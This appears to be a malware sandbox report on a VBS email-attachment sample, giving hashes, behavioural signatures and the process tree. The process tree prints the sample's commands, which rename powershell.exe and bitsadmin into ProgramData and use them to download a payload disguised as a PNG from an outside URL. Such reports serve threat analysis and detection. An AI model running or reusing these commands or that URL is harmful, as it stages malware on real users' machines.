Analysis
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max time kernel
28s -
max time network
29s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
11-01-2021 08:44
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_doc_02613440060.vbs
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
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Target
Allegato_doc_02613440060.vbs
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Size
8KB
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MD5
6266da42dda2a91e97c63181b85b26d4
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SHA1
2a0673cc7ea00b5187dac046b906aa1018317236
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SHA256
12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b
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SHA512
fed5ca3e0b5f2214d12c6e8e6d86b6f96589e4629a588bb91cb3df90e3f20c17bb0413f9cbc1683a64642a5b2aa1ddc3ce2a59bb674febe28676c5a5157913c6
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 1728 NXBtfaYin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 844 wrote to memory of 904 844 WScript.exe 26 PID 844 wrote to memory of 904 844 WScript.exe 26 PID 844 wrote to memory of 904 844 WScript.exe 26 PID 904 wrote to memory of 2016 904 cmd.exe 28 PID 904 wrote to memory of 2016 904 cmd.exe 28 PID 904 wrote to memory of 2016 904 cmd.exe 28 PID 904 wrote to memory of 1788 904 cmd.exe 29 PID 904 wrote to memory of 1788 904 cmd.exe 29 PID 904 wrote to memory of 1788 904 cmd.exe 29 PID 844 wrote to memory of 1728 844 WScript.exe 30 PID 844 wrote to memory of 1728 844 WScript.exe 30 PID 844 wrote to memory of 1728 844 WScript.exe 30 PID 844 wrote to memory of 1728 844 WScript.exe 30
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:904 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe3⤵PID:2016
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe3⤵PID:1788
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C:\ProgramData\NXBtfaYin.exe"C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png2⤵
- Executes dropped EXE
PID:1728
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